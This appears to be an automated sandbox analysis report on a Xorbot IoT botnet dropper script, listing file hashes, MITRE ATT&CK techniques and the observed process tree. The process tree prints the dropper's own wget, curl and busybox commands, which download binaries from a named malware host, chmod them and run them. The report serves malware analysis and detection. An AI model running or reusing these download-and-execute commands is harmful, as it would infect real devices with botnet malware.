xorbot | a665a16ba49682c6dfd69b135542ffcb25d8d61746c7d8127e135e8bc81e00f3

Analysis

max time kernel
150s
max time network
149s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01/12/2024, 15:28

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General

Target

bins.sh
Size

10KB
MD5

cb16380cf509277eec9f1b0e1506720c
SHA1

54cfb023dbb8ffff117ccd3152621c482d26d480
SHA256

a665a16ba49682c6dfd69b135542ffcb25d8d61746c7d8127e135e8bc81e00f3
SHA512

b8a0eb43de5b0154fb16438423198451fe8c0dccb7f9c029798768e8dbb13b384bc7e4028d7d6f893dcb634a72d45e12a383dbb6cc60d3523c28658695c89b01
SSDEEP

96:YQMRLn8vLtltFtitpZLHbgL8AhyGPEZtttOH1HVH6YMraA8q23Ln5KC7LztmXnzc:7QQ2wV/uzW1swnw2DhuzW1swkmk+

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
813	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv	814	J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
736	curl
753	busybox
817	wget
712	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ	wget
File opened for modification	/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv	wget
File opened for modification	/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - System Network Configuration Discovery
  PID:753
- /bin/chmod
  chmod 777 J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  ./J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  PID:816
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/b7U5F8C3EB0EekOfS9IQRNfeGDy0gUuAWZ

Filesize
71KB

MD5
a82d57d76a58876adfe91139a6436d14

SHA1
9b87d106c4fe47806811a6d4b66acd3da41cd391

SHA256
c1ff4cd9455e328bd256fa6cdb3323d997fc09468e0015877f54c6f0d5a3ff0e

SHA512
d494c4118348b4246a32423deec2714a875fbd4feb21a9924ff459472efb4c3d66347f2a2deef4f1e9db428119ca5dbed7a6bce4517d53c2f215f960e5b7549d

Download Submit